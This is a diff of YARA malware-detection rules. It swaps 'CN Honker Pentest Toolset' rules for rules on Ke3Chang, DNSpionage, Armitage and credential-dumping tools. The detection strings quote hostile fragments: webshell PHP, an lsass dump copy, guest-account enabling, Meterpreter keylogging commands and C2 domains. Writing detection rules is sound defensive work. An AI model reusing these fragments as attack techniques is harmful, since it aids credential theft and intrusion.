+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "20446692842ec9481f34dd976f6b309515c33159653f9988a59335d2f04e4138"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ecb835d03060db1ea3496ceca2d79d7c4c6c671c9907e0b0e73bf8d3371fa931"
+		hash2 = "e355a327479dcc4e71a38f70450af02411125c5f101ba262e8df99f9f0fef7b6"
 
 	strings:
-		$s0 = "<description>Patch</description>" fullword ascii
-		$s2 = "\\dup2patcher.dll" ascii
-		$s3 = "load_patcher" fullword ascii
+		$ = "Processor Level: " fullword ascii
+		$ = "CONNECTION ERROR" fullword ascii
+		$ = "FILE_EXECUTE_AND_KILL_MYSELF" ascii
+		$ = "-KILL_PROCESS-" ascii
+		$ = "-FILE_EXECUTE-" ascii
+		$ = "-DOWNLOAD_ERROR-" ascii
+		$ = "CMD_EXECUTE" fullword ascii
+		$ = "\\Interface\\Office\\{31E12FE8-937F-1E32-871D-B1C9AOEF4D4}\\" ascii
+		$ = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <4000KB and all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 3 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Tuoku_Script_Oracle_2 : FILE
+rule SIGNATURE_BASE_Gen_Excel_Auto_Open_Evasion : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file oracle.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b88a0faa-1616-5f1b-80dc-6e6a2f0cb671"
-		date = "2015-06-23"
+		description = "Detects an obfuscated Auto_Open cell names in Excel files"
+		author = "@JohnLaTwC"
+		id = "e33b8d1d-4978-5747-8b5b-730e6c57dbf0"
+		date = "2020-09-24"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1843-L1858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "865dd591b552787eda18ee0ab604509bae18c197"
-		logic_hash = "627d81323266d67a2402367918b4f6e7277367c3eb027af57ac6966f2a49472c"
+		reference = "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_excel_auto_open_evasion.yar#L1-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5"
+		logic_hash = "d7d81683b9abd7b89d6d6ee4d14ff37359acd353a6bd1d88bc793525c8f203d9"
 		score = 70
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bb3c9739de8ffe2e0f375847d41a010463ec19f1d3f578ac053651a51ed69bbc"
+		hash2 = "56ff65b7f6bf5936883f52b50ca66e768b2088158cc77af681ffab7122be7753"
+		hash3 = "97243214ac3cad74d60b0648e39d6a9600860edba51c670b5226e058ba658957"
+		hash4 = "9ebf085c05ae94c1b6c4e011001a6c11de3ca754a56ed380314ef501b777e593"
+		hash5 = "b5a8bbf3c7d49bd208d8302f6867b5f6d3d7c09830b575967801893498cc92d9"
 
 	strings:
-		$s0 = "webshell" fullword ascii
-		$s1 = "Silic Group Hacker Army " fullword ascii
+		$auto_open = { 00 00 00 00 01 [0-2] (61 | 41) [0-5](75 | 55) [0-5](74 | 54) [0-5](6f | 4f) [0-5](5f | 5f) [0-5](6f | 4f) [0-5](70 | 50) [0-5](65 | 45) [0-5](6e | 4e)}
+		$plain_auto_open = "auto_open" nocase wide ascii
 
 	condition:
-		filesize <3KB and all of them
+		filesize <1MB and uint32be(0)==0xD0CF11E0 and $auto_open and #plain_auto_open==0
 }
-rule SIGNATURE_BASE_CN_Honker_Net_Packet_Capt : FILE
+rule SIGNATURE_BASE_APT_KE3CHANG_TMPFILE : APT KE3CHANG TMPFILE FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file net_packet_capt.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "16e19be7-3805-5e2b-baa6-20554fb7a5cf"
-		date = "2015-06-23"
+		description = "Detects Strings left in TMP Files created by K3CHANG Backdoor Ketrican"
+		author = "Markus Neis, Swisscom"
+		id = "84d411af-ea3d-5862-8c2f-7caca60c1b66"
+		date = "2020-06-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1860-L1878"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2d45a2bd9e74cf14c1d93fff90c2b0665f109c52"
-		logic_hash = "b158199a27f1260da5f5c1a8e99bb1cc3d19fe2a10577cc5932f097ff39d4ef8"
-		score = 70
+		reference = "https://app.any.run/tasks/a96f4f9d-c27d-490b-b5d3-e3be0a1c93e9/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ke3chang.yar#L1-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "75c97fe2eeb82e09f52e98d76bd529824f171da4c802b5febc1036314d8145f0"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "APT, KE3CHANG, TMPFILE, FILE"
+		hash1 = "4ef11e84d5203c0c425d1a76d4bf579883d40577c2e781cdccc2cc4c8a8d346f"
 
 	strings:
-		$s1 = "(*.sfd)" fullword ascii
-		$s2 = "GetLaBA" fullword ascii
-		$s3 = "GAIsProcessorFeature" fullword ascii
-		$s4 = "- Gablto " ascii
-		$s5 = "PaneWyedit" fullword ascii
+		$pps1 = "PSParentPath             : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
+		$pps2 = "PSPath                   : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
+		$psp1 = ": Microsoft.PowerShell.Core\\Registry" ascii
+		$s4 = "PSChildName  : PhishingFilter" fullword ascii
+		$s1 = "DisableFirstRunCustomize : 2" fullword ascii
+		$s7 = "PSChildName  : 3" fullword ascii
+		$s8 = "2500         : 3" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		uint16(0)==0x5350 and filesize <1KB and $psp1 and 1 of ($pps*) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_CN_Honker_Cleaniislog : FILE
+rule SIGNATURE_BASE_APT_MAL_Ke3Chang_Ketrican_Jun20_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file CleanIISLog.exe"
+		description = "Detects Ketrican malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3931ba63-faf5-5b44-879c-105cd2812712"
-		date = "2015-06-23"
+		id = "ccd8322e-c822-512a-9ac5-eabc9d09640b"
+		date = "2020-06-18"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1880-L1894"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
-		logic_hash = "35b428d6178196b0dc6ac2ea3f0ee1dfbf6a98ead2356cb2a35d3d6b780538cc"
-		score = 70
+		reference = "BfV Cyber-Brief Nr. 01/2020"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ke3chang.yar#L23-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2806de18432dbab24f08c7c2863fd694c91192cf7df4388dfeb87b237f22257"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "02ea0bc17875ab403c05b50205389065283c59e01de55e68cee4cf340ecea046"
+		hash2 = "f3efa600b2fa1c3c85f904a300fec56104d2caaabbb39a50a28f60e0fdb1df39"
 
 	strings:
-		$s1 = "Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.>" fullword ascii
+		$xc1 = { 00 59 89 85 D4 FB FF FF 8B 85 D4 FB FF FF 89 45
+               FC 68 E0 58 40 00 8F 45 FC E9 }
+		$op1 = { 6a 53 58 66 89 85 24 ff ff ff 6a 79 58 66 89 85 }
+		$op2 = { 8d 45 bc 50 53 53 6a 1c 8d 85 10 ff ff ff 50 ff }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*) or 2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_HASH_Pwhash : FILE
+rule SIGNATURE_BASE_Keylogger_CN_APT : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file pwhash.exe"
+		description = "Keylogger - generic rule for a Chinese variant"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5d8c3648-a725-5f01-9800-b75b8c740cf1"
-		date = "2015-06-23"
+		id = "7be0b175-05a4-5725-ba21-9438c0fcd740"
+		date = "2016-03-07"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1896-L1911"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "689056588f95749f0382d201fac8f58bac393e98"
-		logic_hash = "a77ae11c35dac3cfb1a2970460d4883feed7fbd3e8a860fa7facaad7ddcd1182"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_keylogger_cn.yar#L8-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
+		logic_hash = "a5330d15ad7199212cec44ade401c224c40a468650abbc7bf282b26a21cdc22b"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "Example: quarks-pwdump.exe --dump-hash-domain --with-history" fullword ascii
-		$s2 = "quarks-pwdump.exe <options> <NTDS file>" fullword ascii
+		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
+		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
+		$x3 = "%sWindows NT %d.%d" fullword ascii
+		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
+		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
+		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
+		$s3 = "shutdown.exe -r -t 0" fullword ascii
+		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
+		$s6 = "http_s.exe" fullword ascii
+		$s7 = "User Agent\\Post Platform\\" ascii
+		$s8 = "desktop.tmp" fullword ascii
+		$s9 = "\\support.icw" ascii
+		$s10 = "agc.tmp" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of ($x*)) or 3 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Cleaner_Cl_2 : FILE
+rule SIGNATURE_BASE_Reveal_Memorycredentials : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file cl.exe"
+		description = "Auto-generated rule - file Reveal-MemoryCredentials.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9aa36c0a-9e0f-5274-bebe-9179d81b05f7"
-		date = "2015-06-23"
+		id = "ca06c702-45fe-5ab5-b53e-c3f7b7006570"
+		date = "2015-08-31"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1913-L1928"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "523084e8975b16e255b56db9af0f9eecf174a2dd"
-		logic_hash = "865354152f8441009aaad9022f64c3a014c4df0549b648d66959df56893ab98a"
-		score = 70
+		reference = "https://github.com/giMini/RWMC/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rwmc_powershell_creddump.yar#L8-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "893c26818c424d0ff549c1fbfa11429f36eecd16ee69330c442c59a82ce6adea"
+		logic_hash = "d740462aacd3b30d0258d018344642683fefd43ef033dd7f5bdde2bdddce4115"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cl -eventlog All/Application/System/Security" fullword ascii
-		$s1 = "clear iislog error!" fullword ascii
+		$s1 = "$dumpAProcessPath = \"C:\\Windows\\temp\\msdsc.exe\"" fullword ascii
+		$s2 = "$user = Get-ADUser -Filter {UserPrincipalName -like $loginPlainText -or sAMAccountName -like $loginPlainText}" fullword ascii
+		$s3 = "Copy-Item -Path \"\\\\$computername\\\\c$\\windows\\temp\\lsass.dmp\" -Destination \"$logDirectoryPath\"" fullword ascii
+		$s4 = "if($backupOperatorsFlag -eq \"true\") {$loginPlainText = $loginPlainText + \" = Backup Operators\"}            " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		filesize <200KB and 1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Sqlmap_Python_Run : FILE
+rule SIGNATURE_BASE_Minidumptest_Msdsc : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file Run.exe"
+		description = "Auto-generated rule - file msdsc.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "308d929a-0f38-5db4-92c2-2a7bf25bb64f"
-		date = "2015-06-23"
+		id = "044ae157-aba2-5935-9afc-8a12853c84bc"
+		date = "2015-08-31"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1930-L1946"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a51479a1c589f17c77d22f6cf90b97011c33145f"
-		logic_hash = "86d53a06e2f71b7ce7785c4c8ac017a4552b40c16d64474db4e22dbe1afd9e52"
-		score = 70
+		reference = "https://github.com/giMini/RWMC/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rwmc_powershell_creddump.yar#L26-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "477034933918c433f521ba63d2df6a27cc40a5833a78497c11fb0994d2fd46ba"
+		logic_hash = "ae8a28df245a8f7a2d62639789c31556b012322fcac09784595fd6f95d6bf195"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = ".\\Run.log" fullword ascii
-		$s2 = "[root@Hacker~]# Sqlmap " fullword ascii
-		$s3 = "%sSqlmap %s" fullword ascii
+		$s1 = "MiniDumpTest1.exe" fullword wide
+		$s2 = "MiniDumpWithTokenInformation" fullword ascii
+		$s3 = "MiniDumpTest1" fullword wide
+		$s6 = "Microsoft 2008" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and all of them
+		uint16(0)==0x5a4d and filesize <20KB and all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Saminside : FILE
+rule SIGNATURE_BASE_Armitage_Msfconsole : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file SAMInside.exe"
+		description = "Detects Armitage component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c5ac9f0a-d1af-59c3-9c13-91153180f3d8"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1948-L1963"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "707ba507f9a74d591f4f2e2f165ff9192557d6dd"
-		logic_hash = "8f095a554121e16b63fdd8d47d957665aed7a2a5885813fa78bc4cee3b8923d3"
-		score = 70
+		id = "9c610cd0-663e-54ea-a0f2-6c044fc45d23"
+		date = "2017-12-24"
+		modified = "2022-08-18"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_armitage.yar#L14-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf9df9858ca584288288fd0b55fdcf65aeea410f25531ee3d8cf48c30d23824a"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "662ba75c7ed5ac55a898f480ed2555d47d127a2d96424324b02724b3b2c95b6a"
 
 	strings:
-		$s0 = "www.InsidePro.com" fullword wide
-		$s1 = "SAMInside.exe" fullword wide
+		$s1 = "\\umeterpreter\\u >" ascii
+		$s3 = "^meterpreter >" fullword ascii
+		$s11 = "\\umsf\\u>" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <650KB and all of them
+		filesize <1KB and 2 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webscan_Wwwscan : FILE
+rule SIGNATURE_BASE_Armitage_Meterpretersession_Strings : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file wwwscan.exe"
+		description = "Detects Armitage component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "defe0024-f94a-560a-a9f6-b3849b41f9bb"
-		date = "2015-06-23"
+		id = "c49fdb73-1c95-5c63-b039-2fddb77290dc"
+		date = "2017-12-24"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1965-L1981"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
-		logic_hash = "9d2eee1c1783a08a2eae86d4ea77bdb67db8cf0055a24d88ea09411e63018e8c"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_armitage.yar#L33-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a21a42df8f15e3e81c797feb284edfe2de7d1c182547e8606f0e48dc08f6939"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b258b2f12f57ed05d8eafd29e9ecc126ae301ead9944a616b87c240bf1e71f9a"
+		hash2 = "144cb6b1cf52e60f16b45ddf1633132c75de393c2705773b9f67fce334a3c8b8"
 
 	strings:
-		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii
-		$s2 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
-		$s3 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii
+		$s1 = "session.meterpreter_read" fullword ascii
+		$s2 = "sniffer_dump" fullword ascii
+		$s3 = "keyscan_dump" fullword ascii
+		$s4 = "MeterpreterSession.java" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of them
+		filesize <30KB and 1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_2_3389 : FILE
+rule SIGNATURE_BASE_Armitage_OSX : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file 3389.exe"
+		description = "Detects Armitage component"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8b2f5f6d-4d7b-561c-bd77-2de351e5aca8"
-		date = "2015-06-23"
+		id = "e886e866-c163-56fb-9631-c586e9f23f9e"
+		date = "2017-12-24"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L1983-L1999"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "48d1974215e5cb07d1faa57e37afa91482b5a376"
-		logic_hash = "97e2a08dd391de44fc01c44ca6463aa009e93ad199a330eb99aaa809f14f2ef0"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_armitage.yar#L52-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "25c94b9715fdc10d0e04eea7d5b9974e60f3e248f51b80de80542b169996fc7a"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2680d9900a057d553fcb28d84cdc41c3fc18fd224a88a32ee14c9c1b501a86af"
+		hash2 = "b7b506f38d0553cd2beb4111c7ef383c821f04cee5169fed2ef5d869c9fbfab3"
 
 	strings:
-		$s1 = "C:\\Documents and Settings\\Administrator\\" ascii
-		$s2 = "net user guest /active:yes" fullword ascii
-		$s3 = "\\Microsoft Word.exe" ascii
+		$x1 = "resources/covertvpn-injector.exe" fullword ascii
+		$s10 = "resources/browserpivot.x64.dll" fullword ascii
+		$s17 = "resources/msfrpcd_new.bat" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <80KB and all of them
+		filesize <6000KB and 1 of them
 }
-rule SIGNATURE_BASE_CN_Honker_PHP_Php11 : FILE
+rule SIGNATURE_BASE_MAL_DNSPIONAGE_Malware_Nov18 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file php11.txt"
+		description = "Detects DNSpionage Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e20eaab1-9799-5e61-9a25-3ac0dcce5f7f"
-		date = "2015-06-23"
-		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2001-L2017"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dcc8226e7eb20e4d4bef9e263c14460a7ee5e030"
-		logic_hash = "d32b0540521a6b1d65c224bdee463813d72846c26f27326a092bdf3b90c3ae7c"
-		score = 70
+		id = "5a0b498b-b2e9-5827-9908-63586b2cf947"
+		date = "2018-11-30"
+		modified = "2023-01-06"
+		reference = "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dnspionage.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7f148b790c391283ac833236ad7fd3af7af517098adeaf88b8ee8d95df11487"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
+		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
 
 	strings:
-		$s1 = "<tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else" ascii
-		$s2 = "foreach (glob($_GET['pathtomass'].\"/*.htm\") as $injectj00) {" fullword ascii
-		$s3 = "echo '[cPanel Found] '.$login.':'.$pass.\"  Success\\n\";" fullword ascii
+		$x1 = ".0ffice36o.com" ascii
+		$s1 = "/Client/Login?id=" ascii
+		$s2 = ".\\Configure.txt" ascii
+		$s5 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
 
 	condition:
-		filesize <800KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Webcruiserwvs : FILE
+rule SIGNATURE_BASE_APT_Dnspionage_Karkoff_Malware_Apr19_1 : FILE
 {
 	meta:
-		description = "Sample from CN Honker Pentest Toolset - file WebCruiserWVS.exe"
+		description = "Detects DNSpionage Karkoff malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "16bed1e8-a1f0-5fcf-9c03-83625a388547"
-		date = "2015-06-23"
+		id = "be955760-ae94-5f77-928d-f4118a97ae6a"
+		date = "2019-04-24"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_tools.yar#L2019-L2034"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6c90a9ed4c8a141a343dab1b115cc840a7190304"
-		logic_hash = "dd37765488f07299048e9b8fc552120e76d628e0adcaf474fce9bfe60774a0c8"
-		score = 70
+		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dnspionage.yar#L23-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e8157cec7e70f7c95dffecd1c5a820f29825586a95f2a5c6e4db0a51b1d4708"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11"
+		hash2 = "b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04"
+		hash3 = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
+		hash4 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
 
 	strings:
-		$s0 = "id:uid:user:username:password:access:account:accounts:admin_id:admin_name:admin_" ascii
-		$s1 = "Created By WebCruiser - Web Vulnerability Scanner http://sec4app.com" fullword wide
+		$x1 = "Karkoff.exe" fullword wide
+		$x2 = "kuternull.com" fullword wide
+		$x3 = "rimrun.com" fullword wide
+		$s1 = "C:\\Windows\\Temp\\" wide
+		$s2 = "CMD.exe" fullword wide
+		$s3 = "get_ProcessExtensionDataNames" fullword ascii
+		$s4 = "get_ProcessDictionaryKeys" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <700KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or all of ($s*))
 }
-rule SIGNATURE_BASE_CN_Honker_Hookmsgina : FILE
+import "pe"
+
